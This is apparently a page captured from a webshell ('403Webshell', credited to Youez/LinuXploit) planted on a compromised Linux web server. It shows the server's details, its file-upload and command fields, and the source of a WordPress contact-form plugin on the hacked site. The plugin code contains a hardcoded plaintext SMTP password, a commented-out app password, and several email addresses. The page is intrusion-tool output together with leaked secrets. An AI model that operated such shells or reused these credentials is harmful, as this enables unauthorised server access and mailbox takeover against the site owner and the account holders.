403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/msmcp.ru/wordpress/wp-content/plugins/cformcform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/msmcp.ru/wordpress/wp-content/plugins/cformcform/cformcform.php
<?php

/*
Plugin Name: Contact Form
Plugin URI: http://k-45.ru
Description: No spam? No spam!
Version: 0.0.1
Author: k-45
Author URI: http://k-45.ru
Copyright (C)2024 K-45
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
*/


// 1. Передаем URL для AJAX и Nonce в JS
add_action('wp_enqueue_scripts', function() {

	wp_enqueue_style('contactform-style', plugins_url('/cf.css', __FILE__));

    wp_enqueue_script( 'contactform-script', plugins_url('/cf.js', __FILE__) );

    wp_localize_script('contactform-script', 'gb_form_obj', [
        'url'   => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('gb_form_nonce')
    ]);
});


// 2. Обработка формы
add_action('wp_ajax_send_partner_form', 'handle_partner_form');
add_action('wp_ajax_nopriv_send_partner_form', 'handle_partner_form');

function handle_partner_form() {
    // Проверка безопасности
    check_ajax_referer('gb_form_nonce', 'nonce');

    // ПРОВЕРКА НА БОТА (Honeypot)
    // Если скрытые поля заполнены — это бот
    if (!empty($_POST['user_nameus']) || !empty($_POST['user_emailus'])) {
        wp_send_json_success('Спасибо! Ваша заявка принята (fake).'); // Обманываем бота
        exit;
    }

    // Сбор данных
    $name  = sanitize_text_field($_POST['user_name']);
    $phone = sanitize_text_field($_POST['user_phone']);
    $email = sanitize_email($_POST['user_email']);
    $messg  = sanitize_text_field($_POST['user_message']);

    if (empty($name) || empty($phone)) {
        wp_send_json_error('Пожалуйста, заполните обязательные поля.');
    }

    // Настройки письма

    $to = 'poyasok.d@dobrolom.com, vit@dobrolom.com, smv@dobrolom.com';
    //$to = 'alimovmail@gmail.com';

    $subject = 'Металлист - новое сообщение';
    $message = "Имя: $name\n" .
               "Телефон: $phone\n" .
               "Email: $email\n" .
               "Сообщение: $messg\n";
    
    $headers = array(
        'Content-Type: text/plain; charset=UTF-8',
        'From: MitrofanovAvto <avto.amiro@mail.ru>' 
    );

    if (wp_mail($to, $subject, $message, $headers)) {
        wp_send_json_success('Заявка успешно отправлена! Мы свяжемся с вами.');
    } else {
        wp_send_json_error('Ошибка отправки почты сервером.');
    }
}


/*********************PHP MAILER*******************/

add_action( 'phpmailer_init', 'smtp_phpmailer_init' );
function smtp_phpmailer_init( $phpmailer ){

    $phpmailer->IsSMTP();

    $phpmailer->CharSet    = 'UTF-8';

    $phpmailer->Host       = 'smtp.mail.ru';
    $phpmailer->Username   = 'avto.amiro@mail.ru';

    //wp-config
    //define( 'SMTP_PASS',   'fzsvjilpxpdybyfi' );

    //$phpmailer->Password   = SMTP_PASS;


    $phpmailer->Password   = 'j8HMPlVEsCT5ee3X9iKt';
    $phpmailer->SMTPAuth   = true;
    $phpmailer->SMTPSecure = 'ssl';

    $phpmailer->Port       = 465;
    $phpmailer->From       = 'avto.amiro@mail.ru';
    $phpmailer->FromName   = 'MitrofanovAvto';

 //   $phpmailer->isHTML( true );
}

Youez - 2016 - github.com/yon3zu
LinuXploit